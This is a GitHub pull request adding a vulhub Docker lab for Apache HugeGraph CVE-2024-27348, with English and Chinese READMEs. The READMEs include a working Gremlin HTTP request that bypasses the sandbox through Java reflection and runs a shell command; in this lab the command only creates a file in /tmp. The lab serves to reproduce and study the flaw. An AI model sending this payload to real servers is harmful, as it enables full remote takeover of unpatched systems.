-
-
Notifications
You must be signed in to change notification settings - Fork 4.7k
Apache HugeGraph Remote Command Execution Vulnerability (CVE-2024-27348) Lab Added #537
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
tonghuaroot
wants to merge
7
commits into
vulhub:master
Choose a base branch
from
tonghuaroot:apache-hugegraph-cve-2024-27348
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
7 commits
Select commit
Hold shift + click to select a range
cac32d8
Apache HugeGraph Remote Command Execution Vulnerability (CVE-2024-273…
tonghuaroot 366c0c0
Modify README.md format
tonghuaroot 793ab12
Update README.zh-cn.md
tonghuaroot cbcbb60
Update README.zh-cn.md
tonghuaroot 6bf54e2
Update README.zh-cn.md
tonghuaroot e83b0d0
Update README.zh-cn.md
tonghuaroot cb98e53
Update README.zh-cn.md
tonghuaroot File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,3 @@ | ||
| FROM hugegraph/hugegraph:1.0.0 | ||
|
|
||
| LABEL maintainer="tonghuaroot <[email protected]>" | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| # Apache HugeGraph Remote Command Execution Vulnerability (CVE-2024-27348) | ||
|
|
||
| HugeGraph is a user-friendly, efficient, and universal graph database that implements the Apache TinkerPop3 framework and is compatible with the Gremlin query language. | ||
| In versions prior to Apache HugeGraph 1.3.0, there is a remote code execution (RCE) vulnerability. Attackers can bypass sandbox restrictions through Gremlin and execute any command to gain full control of the server. | ||
|
|
||
| Reference: | ||
|
|
||
| - https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ | ||
| - https://github.com/apache/incubator-hugegraph | ||
| - https://hugegraph.apache.org/ | ||
| - https://github.com/kljunowsky/CVE-2024-27348 | ||
|
|
||
| ## Start Vulnerability Environment | ||
|
|
||
| Execute the following command to start the vulnerability environment: | ||
|
|
||
| ``` | ||
| docker compose up -d | ||
| ``` | ||
|
|
||
| After startup, you can see the web page by accessing ```http://your-ip:8088/```. | ||
|
|
||
| ## Vulnerability Reproduction | ||
|
|
||
| Intercept the request through Burp Suite and exec the following PoC: | ||
|
|
||
| ``` | ||
| POST /gremlin HTTP/1.1 | ||
| Host: tonghuaroot.local:8088 | ||
| Cache-Control: max-age=0 | ||
| Upgrade-Insecure-Requests: 1 | ||
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 | ||
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 | ||
| Accept-Encoding: gzip, deflate, br | ||
| Accept-Language: zh-CN,zh;q=0.9 | ||
| Connection: close | ||
| Content-Length: 758 | ||
|
|
||
| { | ||
|
|
||
| "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"touch\", \"/tmp/tonghuaroot\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", | ||
|
|
||
| "bindings": {}, | ||
|
|
||
| "language": "gremlin-groovy", | ||
|
|
||
| "aliases": {} | ||
|
|
||
| } | ||
| ``` | ||
|
|
||
|  | ||
|
|
||
| Enter the container with ```docker compose exec hugegraph bash```, you can see that ```/tmp/tonghuaroot``` has been successfully created: | ||
|
|
||
|  |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| # Apache HugeGraph 远程命令执行漏洞(CVE-2024-27348) | ||
|
|
||
| HugeGraph是一款易用、高效、通用的图数据库,实现了Apache TinkerPop3 框架、兼容 Gremlin 查询语言。 | ||
| 在 Apache HugeGraph 1.3.0 之前的版本中存在远程代码执行(RCE)漏洞。攻击者可以通过 Gremlin 绕过沙箱限制并实现 RCE 执行任意命令,从而完全控制服务器。 | ||
|
|
||
| 参考链接: | ||
|
|
||
| - https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ | ||
| - https://github.com/apache/incubator-hugegraph | ||
| - https://hugegraph.apache.org/ | ||
| - https://github.com/kljunowsky/CVE-2024-27348 | ||
|
|
||
| ## 运行环境 | ||
|
|
||
| 执行如下命令启动漏洞环境: | ||
|
|
||
| ``` | ||
| docker compose up -d | ||
| ``` | ||
|
|
||
| 启动完成后,访问`http://your-ip:8088/`即可看到web页面。 | ||
|
|
||
| ## 漏洞复现 | ||
|
|
||
| 通过 Burp Suite 拦截请求,并使用如下 PoC: | ||
|
|
||
| ``` | ||
| POST /gremlin HTTP/1.1 | ||
| Host: tonghuaroot.local:8088 | ||
| Cache-Control: max-age=0 | ||
| Upgrade-Insecure-Requests: 1 | ||
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 | ||
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 | ||
| Accept-Encoding: gzip, deflate, br | ||
| Accept-Language: zh-CN,zh;q=0.9 | ||
| Connection: close | ||
| Content-Length: 758 | ||
|
|
||
| { | ||
|
|
||
| "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"touch\", \"/tmp/tonghuaroot\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", | ||
|
|
||
| "bindings": {}, | ||
|
|
||
| "language": "gremlin-groovy", | ||
|
|
||
| "aliases": {} | ||
|
|
||
| } | ||
| ``` | ||
|
|
||
|  | ||
|
|
||
| 进入容器内部 ```docker compose exec hugegraph bash``` ,可见 ```/tmp/tonghuaroot``` 已成功创建: | ||
|
|
||
|  |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,6 @@ | ||
| version: '2' | ||
| services: | ||
| hugegraph: | ||
| image: vulhub/hugegraph:1.0.0 | ||
| ports: | ||
| - "8088:8080" |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please create a new folder for this image like https://github.com/vulhub/vulhub/tree/master/base/activemq.